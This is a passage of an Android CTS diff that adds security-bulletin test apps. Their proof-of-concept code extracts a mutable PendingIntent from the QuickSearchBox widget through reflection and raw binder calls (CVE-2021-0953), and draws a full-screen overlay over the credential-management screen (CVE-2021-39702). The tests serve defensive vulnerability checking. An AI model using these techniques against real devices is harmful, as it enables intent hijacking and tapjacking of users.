encoding="utf-8"?> +<!-- + Copyright 2021 The Android Open Source Project + + Licensed under the Apache License, Version 2.0 (the "License"); + you may not use this file except in compliance with the License. + You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + + Unless required by applicable law or agreed to in writing, software + distributed under the License is distributed on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + See the License for the specific language governing permissions and + limitations under the License. + --> + +<resources> + <integer name="assumption_failure">-1</integer> + <integer name="pass">0</integer> + <integer name="fail">1</integer> +</resources> diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0953/res/values/strings.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-0953/res/values/strings.xml new file mode 100644 index 00000000000..69988650620 --- /dev/null +++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0953/res/values/strings.xml @@ -0,0 +1,22 @@ +<?xml version="1.0" encoding="utf-8"?> +<!-- + Copyright 2021 The Android Open Source Project + + Licensed under the Apache License, Version 2.0 (the "License"); + you may not use this file except in compliance with the License. + You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + + Unless required by applicable law or agreed to in writing, software + distributed under the License is distributed on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + See the License for the specific language governing permissions and + limitations under the License. + --> + +<resources> + <string name="callback_key">testMutablePendingIntentCallback</string> + <string name="message_key">testMutablePendingIntentMessage</string> + <string name="status_key">testMutablePendingIntentStatus</string> +</resources> diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0953/src/android/security/cts/CVE_2021_0953/DeviceTest.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-0953/src/android/security/cts/CVE_2021_0953/DeviceTest.java new file mode 100644 index 00000000000..ee5dac6d122 --- /dev/null +++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0953/src/android/security/cts/CVE_2021_0953/DeviceTest.java @@ -0,0 +1,100 @@ +/* + * Copyright (C) 2021 The Android Open Source Project + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +package android.security.cts.CVE_2021_0953; + +import static androidx.test.core.app.ApplicationProvider.getApplicationContext; +import static org.junit.Assert.assertNotEquals; +import static org.junit.Assume.assumeNoException; +import static org.junit.Assume.assumeTrue; + +import android.app.Activity; +import android.content.Context; +import android.content.Intent; +import android.os.Bundle; +import android.os.RemoteCallback; + +import androidx.test.runner.AndroidJUnit4; + +import org.junit.Test; +import org.junit.runner.RunWith; + +import java.util.concurrent.CompletableFuture; +import java.util.concurrent.ExecutionException; +import java.util.concurrent.TimeUnit; +import java.util.concurrent.TimeoutException; + +@RunWith(AndroidJUnit4.class) +public class DeviceTest { + public static final int TIMEOUT_SEC = 20; + public static final String TEST_PACKAGE = "android.security.cts.CVE_2021_0953"; + + @Test + public void testMutablePendingIntent() { + final Context context = getApplicationContext(); + PocStatus status = new PocStatus(); + CompletableFuture<PocStatus> callbackReturn = new CompletableFuture<>(); + RemoteCallback cb = new RemoteCallback((Bundle result) -> { + PocStatus pocStatus = new PocStatus(); + pocStatus.setErrorMessage( + result.getString(context.getResources().getString(R.string.message_key))); + pocStatus.setStatusCode( + result.getInt(context.getResources().getString(R.string.status_key))); + callbackReturn.complete(pocStatus); + }); + launchActivity(PocActivity.class, cb); // start activity with callback + try { + // blocking while the remotecallback is unset + status = callbackReturn.get(TIMEOUT_SEC, TimeUnit.SECONDS); + } catch (InterruptedException | ExecutionException | TimeoutException e) { + assumeNoException(e); + } + assumeTrue(status.getErrorMessage(), status.getStatusCode() != context.getResources() + .getInteger(R.integer.assumption_failure)); + assertNotEquals(status.getErrorMessage(), status.getStatusCode(), + context.getResources().getInteger(R.integer.fail)); + } + + private void launchActivity(Class<? extends Activity> clazz, RemoteCallback cb) { + final Context context = getApplicationContext(); + final Intent intent = new Intent(Intent.ACTION_MAIN); + intent.setClassName(TEST_PACKAGE, clazz.getName()); + intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK); + intent.putExtra(context.getResources().getString(R.string.callback_key), cb); + context.startActivity(intent); + } + + private class PocStatus { + private int statusCode; + private String errorMessage; + + public void setStatusCode(int status) { + statusCode = status; + } + + public void setErrorMessage(String message) { + errorMessage = message; + } + + public int getStatusCode() { + return statusCode; + } + + public String getErrorMessage() { + return errorMessage; + } + } +} diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0953/src/android/security/cts/CVE_2021_0953/PocActivity.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-0953/src/android/security/cts/CVE_2021_0953/PocActivity.java new file mode 100644 index 00000000000..3684cbe97cc --- /dev/null +++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0953/src/android/security/cts/CVE_2021_0953/PocActivity.java @@ -0,0 +1,253 @@ +/* + * Copyright (C) 2021 The Android Open Source Project + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +package android.security.cts.CVE_2021_0953; + +import android.app.Activity; +import android.app.PendingIntent; +import android.appwidget.AppWidgetHost; +import android.appwidget.AppWidgetManager; +import android.content.ComponentName; +import android.content.Intent; +import android.content.pm.PackageManager; +import android.content.pm.ResolveInfo; +import android.os.Bundle; +import android.os.IBinder; +import android.os.Parcel; +import android.os.RemoteCallback; +import android.os.RemoteException; +import android.widget.RemoteViews; + +import androidx.test.uiautomator.By; +import androidx.test.uiautomator.BySelector; +import androidx.test.uiautomator.UiDevice; +import androidx.test.uiautomator.UiObject2; +import androidx.test.uiautomator.Until; +import androidx.test.InstrumentationRegistry; + +import java.lang.reflect.Field; +import java.lang.reflect.InvocationTargetException; +import java.lang.reflect.Method; +import java.util.ArrayList; +import java.util.List; + +public class PocActivity extends Activity { + public static int APPWIDGET_ID; + public static int REQUEST_BIND_APPWIDGET = 0; + public static final int TIMEOUT_MS = 10000; + + Class mClRemoteViews; + Field mActions, mResponse, mFldPendingIntent; + Method mGetDeclaredField; + Object mObjSetOnClickResponse; + PendingIntent mPendingIntent; + + @Override + public void onCreate(Bundle savedInstanceState) { + super.onCreate(savedInstanceState); + setContentView(R.layout.activity_main); + UiDevice device = UiDevice.getInstance(InstrumentationRegistry.getInstrumentation()); + AppWidgetHost appWidgetHost; + AppWidgetManager appWidgetManager; + PocActivity pocActivity = PocActivity.this; + appWidgetManager = AppWidgetManager.getInstance(this); + appWidgetHost = new AppWidgetHost(PocActivity.this.getApplicationContext(), 0); + APPWIDGET_ID = appWidgetHost.allocateAppWidgetId(); + Intent intent = new Intent("android.appwidget.action.APPWIDGET_BIND"); + intent.putExtra("appWidgetId", APPWIDGET_ID); + intent.putExtra("appWidgetProvider", new ComponentName("com.android.quicksearchbox", + "com.android.quicksearchbox.SearchWidgetProvider")); + PocActivity.this.startActivityForResult(intent, REQUEST_BIND_APPWIDGET); + String settingsPkgName = ""; + PackageManager pm = getPackageManager(); + List<ResolveInfo> ris = pm.queryIntentActivities(intent, PackageManager.MATCH_DEFAULT_ONLY); + for (ResolveInfo ri : ris) { + if (ri.activityInfo.name.contains("AllowBindAppWidgetActivity")) { + settingsPkgName = ri.activityInfo.packageName; + } + } + if (settingsPkgName.equals("")) { + sendTestResult(getResources().getInteger(R.integer.assumption_failure), + "Settings package not found/AllowBindAppWidgetActivity not found"); + return; + } + if (!device.wait(Until.hasObject(By.pkg(settingsPkgName)), TIMEOUT_MS)) { + sendTestResult(getResources().getInteger(R.integer.assumption_failure), + "Unable to start AllowBindAppWidgetActivity"); + return; + } + boolean buttonClicked = false; + BySelector selector = By.clickable(true); + List<UiObject2> objects = device.findObjects(selector); + for (UiObject2 object : objects) { + String objectText = object.getText(); + String objectClass = object.getClassName(); + if (objectText == null) { + continue; + } + if (objectText.equalsIgnoreCase("CREATE")) { + object.click(); + buttonClicked = true; + break; + } + } + if (!device.wait(Until.gone(By.pkg(settingsPkgName)), TIMEOUT_MS) || !buttonClicked) { + sendTestResult(getResources().getInteger(R.integer.assumption_failure), + "'Create' button not found/clicked"); + return; + } + } + + @Override + public void onActivityResult(int requestCode, int resultCode, Intent data) { + super.onActivityResult(requestCode, resultCode, data); + PocActivity pocActivity = PocActivity.this; + if (requestCode == REQUEST_BIND_APPWIDGET) { + if (resultCode == -1) { + APPWIDGET_ID = data.getIntExtra("appWidgetId", APPWIDGET_ID); + } + } + RemoteViews remoteViews = + pocActivity.callBinder(pocActivity.getPackageName(), APPWIDGET_ID); + if (remoteViews == null) { + sendTestResult(getResources().getInteger(R.integer.assumption_failure), + "remoteViews is null as callBinder() failed"); + return; + } + try { + mClRemoteViews = Class.forName("android.widget.RemoteViews"); + } catch (ClassNotFoundException e) { + e.printStackTrace(); + sendTestResult(getResources().getInteger(R.integer.assumption_failure), + "Class android.widget.RemoteViews not found"); + return; + } + Class[] rvSubClasses = mClRemoteViews.getDeclaredClasses(); + Class clSetOnClickResponse = null; + Class clRemoteResponse = null; + for (Class c : rvSubClasses) { + if (c.getCanonicalName().equals("android.widget.RemoteViews.SetOnClickResponse")) { + clSetOnClickResponse = c; + } + if (c.getCanonicalName().equals("android.widget.RemoteViews.RemoteResponse")) { + clRemoteResponse = c; + } + } + try { + mActions = mClRemoteViews.getDeclaredField("mActions"); + } catch (NoSuchFieldException e) { + e.printStackTrace(); + sendTestResult(getResources().getInteger(R.integer.assumption_failure), + "mActions field not found"); + return; + } + mActions.setAccessible(true); + try { + mObjSetOnClickResponse = ((ArrayList) mActions.get(remoteViews)).get(1); + mGetDeclaredField = Class.class.getDeclaredMethod("getDeclaredField", String.class); + mResponse = (Field) mGetDeclaredField.invoke(clSetOnClickResponse, "mResponse"); + } catch (NoSuchMethodException | IllegalAccessException | InvocationTargetException e) { + e.printStackTrace(); + sendTestResult(getResources().getInteger(R.integer.assumption_failure), + "mResponse field not found"); + return; + } + mResponse.setAccessible(true); + try { + mFldPendingIntent = + (Field) mGetDeclaredField.invoke(clRemoteResponse, "mPendingIntent"); + } catch (IllegalAccessException | InvocationTargetException e) { + e.printStackTrace(); + sendTestResult(getResources().getInteger(R.integer.assumption_failure), + "mPendingIntent field not found"); + return; + } + mFldPendingIntent.setAccessible(true); + try { + mPendingIntent = (PendingIntent) mFldPendingIntent + .get((RemoteViews.RemoteResponse) mResponse.get(mObjSetOnClickResponse)); + } catch (IllegalAccessException e) { + e.printStackTrace(); + sendTestResult(getResources().getInteger(R.integer.assumption_failure), + "Unable to get PendingIntent"); + return; + } + Intent spuriousIntent = new Intent(PocActivity.this, PocVulnerableActivity.class); + spuriousIntent.setPackage(getApplicationContext().getPackageName()); + spuriousIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); + try { + mPendingIntent.send(getApplicationContext(), 0, spuriousIntent, null, null); + } catch (PendingIntent.CanceledException e) { + // this is expected when vulnerability is not present and hence return + sendTestResult(getResources().getInteger(R.integer.pass), "Pass"); + return; + } + sendTestResult(getResources().getInteger(R.integer.fail), + "Device is vulnerable to b/184046278!!" + + " Mutable PendingIntent in QuickSearchBox widget"); + } + + private IBinder getService(String service) { + try { + Class clServiceManager = Class.forName("android.os.ServiceManager"); + Method mtGetService = clServiceManager.getMethod("getService", String.class); + return (IBinder) mtGetService.invoke(null, service); + } catch (ClassNotFoundException | NoSuchMethodException | IllegalAccessException + | InvocationTargetException e) { + e.printStackTrace(); + sendTestResult(getResources().getInteger(R.integer.assumption_failure), + "Failed to invoke android.os.ServiceManager service"); + return null; + } + } + + private RemoteViews callBinder(String callingPackage, int appWidgetId) { + String INTERFACE_DESCRIPTOR = "com.android.internal.appwidget.IAppWidgetService"; + int GET_APP_WIDGET_VIEWS = 7; + Parcel data = Parcel.obtain(); + Parcel reply = Parcel.obtain(); + RemoteViews remoteViews = null; + IBinder service = getService("appwidget"); + if (service != null) { + data.writeInterfaceToken(INTERFACE_DESCRIPTOR); + data.writeString(callingPackage); + data.writeInt(appWidgetId); + try { + service.transact(GET_APP_WIDGET_VIEWS, data, reply, 0); + } catch (RemoteException e) { + e.printStackTrace(); + sendTestResult(getResources().getInteger(R.integer.assumption_failure), + "service.transact() failed due to RemoteException"); + return null; + } + reply.readException(); + if (reply.readInt() != 0) { + remoteViews = (RemoteViews) RemoteViews.CREATOR.createFromParcel(reply); + } + } + return remoteViews; + } + + private void sendTestResult(int statusCode, String errorMessage) { + RemoteCallback cb = + (RemoteCallback) getIntent().getExtras().get(getString(R.string.callback_key)); + Bundle res = new Bundle(); + res.putString(getString(R.string.message_key), errorMessage); + res.putInt(getString(R.string.status_key), statusCode); + finish(); + cb.sendResult(res); // update callback in test + } +} diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0953/src/android/security/cts/CVE_2021_0953/PocVulnerableActivity.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-0953/src/android/security/cts/CVE_2021_0953/PocVulnerableActivity.java new file mode 100644 index 00000000000..b99ba9dc3e9 --- /dev/null +++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0953/src/android/security/cts/CVE_2021_0953/PocVulnerableActivity.java @@ -0,0 +1,27 @@ +/* + * Copyright (C) 2021 The Android Open Source Project + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +package android.security.cts.CVE_2021_0953; + +import android.app.Activity; +import android.os.Bundle; + +public class PocVulnerableActivity extends Activity { + public void onCreate(Bundle savedInstanceState) { + super.onCreate(savedInstanceState); + setContentView(R.layout.vulnerable_activity_main); + } +} diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0965/Android.bp b/hostsidetests/securitybulletin/test-apps/CVE-2021-0965/Android.bp index ab1f6278b4f..6f672e031e0 100644 --- a/hostsidetests/securitybulletin/test-apps/CVE-2021-0965/Android.bp +++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0965/Android.bp @@ -33,5 +33,5 @@ android_test_helper_app { "androidx.test.rules", "androidx.test.uiautomator_uiautomator", ], - sdk_version: "current", + platform_apis: true, } diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0965/src/android/security/cts/CVE_2021_0965/DeviceTest.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-0965/src/android/security/cts/CVE_2021_0965/DeviceTest.java index e709d0a8044..46f16135532 100644 --- a/hostsidetests/securitybulletin/test-apps/CVE-2021-0965/src/android/security/cts/CVE_2021_0965/DeviceTest.java +++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0965/src/android/security/cts/CVE_2021_0965/DeviceTest.java @@ -18,9 +18,20 @@ package android.security.cts.CVE_2021_0965; import static androidx.test.core.app.ApplicationProvider.getApplicationContext; import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation; +import static org.junit.Assert.fail; +import static org.junit.Assume.assumeNoException; + +import android.app.UiAutomation; import android.content.Intent; +import android.content.pm.PackageManager; +import android.content.pm.ResolveInfo; +import android.os.UserHandle; +import android.provider.Settings; + +import androidx.test.InstrumentationRegistry; import androidx.test.runner.AndroidJUnit4; import androidx.test.uiautomator.UiDevice; + import org.junit.Before; import org.junit.Test; import org.junit.runner.RunWith; @@ -34,23 +45,64 @@ public class DeviceTest { try { device.wakeUp(); } catch (Exception e) { + e.printStackTrace(); + assumeNoException(e); } device.pressHome(); } + private String getSettingsPkgName() { + PackageManager mgr = getInstrumentation().getTargetContext().getPackageManager(); + UiAutomation ui = getInstrumentation().getUiAutomation(); + String name = "com.android.settings"; + try { + ui.adoptShellPermissionIdentity(android.Manifest.permission.INTERACT_ACROSS_USERS); + ResolveInfo info = mgr.resolveActivityAsUser(new Intent(Settings.ACTION_SETTINGS), + PackageManager.MATCH_SYSTEM_ONLY, UserHandle.USER_SYSTEM); + if (info != null && info.activityInfo != null) { + name = info.activityInfo.packageName; + } + } catch (Exception e) { + e.printStackTrace(); + assumeNoException(e); + } finally { + ui.dropShellPermissionIdentity(); + } + return name; + } + + private boolean hasFeature(String feature) { + return InstrumentationRegistry.getContext().getPackageManager().hasSystemFeature(feature); + } + + private boolean isTV() { + return hasFeature(PackageManager.FEATURE_LEANBACK); + } + @Test public void testPermission() { + String pkg = getSettingsPkgName(); + String cls = ""; + if (isTV()) { + cls = ".accessories.BluetoothPairingDialog"; + } else { + cls = ".bluetooth.BluetoothPairingDialog"; + } + try { Intent intent = new Intent(Intent.ACTION_MAIN); - intent.setClassName("com.android.settings", - "com.android.settings.bluetooth.BluetoothPairingDialog"); + intent.setClassName(pkg, pkg + cls); intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK); getApplicationContext().startActivity(intent); - } catch (SecurityException e) { - return; + } catch (Exception ex) { + ex.printStackTrace(); + if (ex instanceof SecurityException) { + return; + } + assumeNoException(ex); } /* If SecurityException is not thrown, it indicates absence of fix */ - throw new RuntimeException("Vulnerable to b/194300867 !!"); + fail("Vulnerable to b/194300867 !!"); } } diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39702/Android.bp b/hostsidetests/securitybulletin/test-apps/CVE-2021-39702/Android.bp new file mode 100644 index 00000000000..8c5b2519aa9 --- /dev/null +++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39702/Android.bp @@ -0,0 +1,31 @@ +/* + * Copyright (C) 2022 The Android Open Source Project + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at: + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + * + */ + +android_test_helper_app { + name: "CVE-2021-39702", + defaults: ["cts_support_defaults"], + srcs: ["src/**/*.java"], + test_suites: [ + "sts", + ], + static_libs: [ + "androidx.test.rules", + "androidx.test.uiautomator_uiautomator", + "androidx.test.core", + ], + sdk_version: "current", +} diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39702/AndroidManifest.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-39702/AndroidManifest.xml new file mode 100644 index 00000000000..60105d647cc --- /dev/null +++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39702/AndroidManifest.xml @@ -0,0 +1,37 @@ +<!-- + Copyright 2022 The Android Open Source Project + + Licensed under the Apache License, Version 2.0 (the "License"); + you may not use this file except in compliance with the License. + You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + + Unless required by applicable law or agreed to in writing, software + distributed under the License is distributed on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + See the License for the specific language governing permissions and + limitations under the License. + --> +<manifest xmlns:android="http://schemas.android.com/apk/res/android" + xmlns:tools="http://schemas.android.com/tools" + package="android.security.cts.CVE_2021_39702" + android:versionCode="1" + android:versionName="1.0"> + + <uses-permission android:name="android.permission.SYSTEM_ALERT_WINDOW" /> + + <application + android:allowBackup="true" + android:label="CVE_2021_39702" + android:supportsRtl="true"> + <uses-library android:name="android.test.runner" /> + <service android:name=".PocService" + android:enabled="true" + android:exported="false" /> + </application> + + <instrumentation + android:name="androidx.test.runner.AndroidJUnitRunner" + android:targetPackage="android.security.cts.CVE_2021_39702" /> +</manifest> diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39702/res/values/strings.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-39702/res/values/strings.xml new file mode 100644 index 00000000000..ede3c087bf2 --- /dev/null +++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39702/res/values/strings.xml @@ -0,0 +1,34 @@ +<?xml version="1.0" encoding="utf-8"?> +<!-- + Copyright 2022 The Android Open Source Project + + Licensed under the Apache License, Version 2.0 (the "License"); + you may not use this file except in compliance with the License. + You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + + Unless required by applicable law or agreed to in writing, software + distributed under the License is distributed on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + See the License for the specific language governing permissions and + limitations under the License. + --> + +<resources> + <string name="action">android.security.MANAGE_CREDENTIALS</string> + <string name="activityNotFoundMsg">The activity with intent was not found : </string> + <string name="activityNotStartedException">Unable to start the activity with intent : </string> + <string name="canNotDrawOverlaysMsg">The application cannot draw overlays</string> + <string name="dumpsysActivity">dumpsys activity</string> + <string name="dumpsysActivityNotStartedException">Could not execute dumpsys activity command</string> + <string name="errorMessage">Device is vulnerable to b/205150380 hence any app with "SYSTEM_ALERT_WINDOW can overlay the RequestManageCredentials screen</string> + <string name="extraAuthenticationPolicy">android.security.extra.AUTHENTICATION_POLICY</string> + <string name="mResumedTrue">mResumed=true</string> + <string name="overlayAttack">overlayattack</string> + <string name="overlayButtonText">OverlayButton</string> + <string name="overlayServiceNotStartedException">Unable to start the overlay service</string> + <string name="overlayUiScreenError">Overlay UI did not appear on the screen</string> + <string name="testPkg">android.security.cts.CVE_2021_39702</string> + <string name="vulActivityNotRunningError">The RequestManageCredentials is not currently running on the device</string> +</resources> diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39702/src/android/security/cts/CVE_2021_39702/DeviceTest.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-39702/src/android/security/cts/CVE_2021_39702/DeviceTest.java new file mode 100644 index 00000000000..69e0f86a7aa --- /dev/null +++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39702/src/android/security/cts/CVE_2021_39702/DeviceTest.java @@ -0,0 +1,124 @@ +/* + * Copyright (C) 2022 The Android Open Source Project + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +package android.security.cts.CVE_2021_39702; + +import static androidx.test.core.app.ApplicationProvider.getApplicationContext; +import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation; + +import static org.junit.Assert.assertNotNull; +import static org.junit.Assert.assertTrue; +import static org.junit.Assume.assumeNoException; +import static org.junit.Assume.assumeTrue; + +import android.content.Context; +import android.content.Intent; +import android.content.pm.PackageManager; +import android.content.pm.ResolveInfo; +import android.net.Uri; +import android.provider.Settings; +import android.security.AppUriAuthenticationPolicy; + +import androidx.test.runner.AndroidJUnit4; +import androidx.test.uiautomator.By; +import androidx.test.uiautomator.UiDevice; +import androidx.test.uiautomator.Until; + +import org.junit.Test; +import org.junit.runner.RunWith; + +import java.io.IOException; +import java.util.regex.Pattern; + +@RunWith(AndroidJUnit4.class) +public class DeviceTest { + private static final int LAUNCH_TIMEOUT_MS = 20000; + private static String VulnerableActivityName = ""; + + private void startOverlayService() { + Context context = getApplicationContext(); + assertNotNull(context); + Intent intent = new Intent(context, PocService.class); + assumeTrue(context.getString(R.string.canNotDrawOverlaysMsg), + Settings.canDrawOverlays(context)); + try { + context.startService(intent); + } catch (Exception e) { + assumeNoException(context.getString(R.string.overlayServiceNotStartedException), e); + } + } + + public void startVulnerableActivity() { + Context context = getApplicationContext(); + Intent intent = new Intent(context.getString(R.string.action)); + intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); + AppUriAuthenticationPolicy policy = new AppUriAuthenticationPolicy.Builder() + .addAppAndUriMapping(context.getString(R.string.testPkg), Uri.parse(""), + context.getString(R.string.overlayAttack)) + .build(); + intent.putExtra(context.getString(R.string.extraAuthenticationPolicy), policy); + PackageManager pm = context.getPackageManager(); + ResolveInfo ri = pm.resolveActivity(intent, PackageManager.MATCH_DEFAULT_ONLY); + VulnerableActivityName = ri.activityInfo.name; + assumeTrue(context.getString(R.string.activityNotFoundMsg) + intent, ri != null); + try { + context.startActivity(intent); + } catch (Exception e) { + assumeNoException(context.getString(R.string.activityNotStartedException) + intent, e); + } + } + + @Test + public void testOverlayButtonPresence() { + Context context = getApplicationContext(); + UiDevice mDevice = UiDevice.getInstance(getInstrumentation()); + + /* Start the overlay service */ + startOverlayService(); + + /* Wait for the overlay window */ + Pattern overlayTextPattern = Pattern.compile(context.getString(R.string.overlayButtonText), + Pattern.CASE_INSENSITIVE); + assumeTrue(context.getString(R.string.overlayUiScreenError), + mDevice.wait(Until.hasObject(By.text(overlayTextPattern)), LAUNCH_TIMEOUT_MS)); + + /* Start the vulnerable activity */ + startVulnerableActivity(); + + /* Wait until the object of launcher activity is gone */ + boolean overlayDisallowed = false; + if (mDevice.wait(Until.gone(By.pkg(context.getString(R.string.testPkg))), + LAUNCH_TIMEOUT_MS)) { + overlayDisallowed = true; + } + + /* Check if the currently running activity is the vulnerable activity */ + String activityDump = ""; + try { + activityDump = mDevice.executeShellCommand( + context.getString(R.string.dumpsysActivity) + " " + VulnerableActivityName); + } catch (IOException e) { + assumeNoException(context.getString(R.string.dumpsysActivityNotStartedException), e); + } + Pattern activityPattern = + Pattern.compile(context.getString(R.string.mResumedTrue), Pattern.CASE_INSENSITIVE); + assumeTrue(context.getString(R.string.vulActivityNotRunningError), + activityPattern.matcher(activityDump).find()); + + /* Failing the test as fix is not present */ + assertTrue(context.getString(R.string.errorMessage), overlayDisallowed); + } +} diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39702/src/android/security/cts/CVE_2021_39702/PocService.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-39702/src/android/security/cts/CVE_2021_39702/PocService.java new file mode 100644 index 00000000000..e20029af7e0 --- /dev/null +++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39702/src/android/security/cts/CVE_2021_39702/PocService.java @@ -0,0 +1,90 @@ +/* + * Copyright (C) 2022 The Android Open Source Project + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +package android.security.cts.CVE_2021_39702; + +import static org.junit.Assume.assumeTrue; + +import android.app.Service; +import android.content.Context; +import android.content.Intent; +import android.content.res.Resources; +import android.graphics.PixelFormat; +import android.os.IBinder; +import android.provider.Settings; +import android.view.Gravity; +import android.view.WindowManager; +import android.view.WindowManager.LayoutParams; +import android.widget.Button; + +public class PocService extends Service { + public static Button mButton; + private WindowManager mWindowManager; + private WindowManager.LayoutParams mLayoutParams; + + private static int getScreenWidth() { + return Resources.getSystem().getDisplayMetrics().widthPixels; + } + + private static int getScreenHeight() { + return Resources.getSystem().getDisplayMetrics().heightPixels; + } + + @Override + public void onCreate() { + super.onCreate(); + mWindowManager = getSystemService(WindowManager.class); + mLayoutParams = new WindowManager.LayoutParams(); + mLayoutParams.type = WindowManager.LayoutParams.TYPE_APPLICATION_OVERLAY; + mLayoutParams.flags = WindowManager.LayoutParams.FLAG_NOT_TOUCH_MODAL + | WindowManager.LayoutParams.FLAG_NOT_FOCUSABLE; + mLayoutParams.format = PixelFormat.OPAQUE; + mLayoutParams.gravity = Gravity.LEFT | Gravity.TOP; + mLayoutParams.width = getScreenWidth(); + mLayoutParams.height = getScreenHeight(); + mLayoutParams.x = getScreenWidth() / 2; + mLayoutParams.y = getScreenHeight() / 2; + } + + @Override + public IBinder onBind(Intent intent) { + return null; + } + + @Override + public int onStartCommand(Intent intent, int flags, int startId) { + showFloatingWindow(); + return super.onStartCommand(intent, flags, startId); + } + + @Override + public void onDestroy() { + if (mWindowManager != null && mButton != null) { + mWindowManager.removeView(mButton); + } + super.onDestroy(); + } + + private void showFloatingWindow() { + Context context = getApplicationContext(); + assumeTrue(context.getString(R.string.canNotDrawOverlaysMsg), + Settings.canDrawOverlays(context)); + mButton = new Button(context); + mButton.setText(context.getString(R.string.overlayButtonText)); + mWindowManager.addView(mButton, mLayoutParams); + mButton.setTag(mButton.getVisibility()); + } +} diff --git a/tests/MediaProviderTranscode/Android.bp b/tests/MediaProviderTranscode/Android.bp index 4ba3243e177..0a6dfd66ac8 100644 --- a/tests/MediaProviderTranscode/Android.bp +++ b/tests/MediaProviderTranscode/Android.bp @@ -7,6 +7,7 @@ android_test { test_suites: [ "device-tests", "cts", + "mts-mediaprovider", ], compile_multilib: "both", @@ -30,6 +31,7 @@ android_test { "truth-prebuilt", ], + min_sdk_version: "30", certificate: "media", java_resources: [":CtsTranscodeTestAppSupportsHevc", ":CtsTranscodeTestAppSupportsSlowMotion"] } @@ -45,6 +47,7 @@ android_test_helper_app { ], static_libs: ["androidx.legacy_legacy-support-v4"], target_sdk_version: "28", + min_sdk_version: "30", } android_test_helper_app { @@ -58,4 +61,5 @@ android_test_helper_app { ], static_libs: 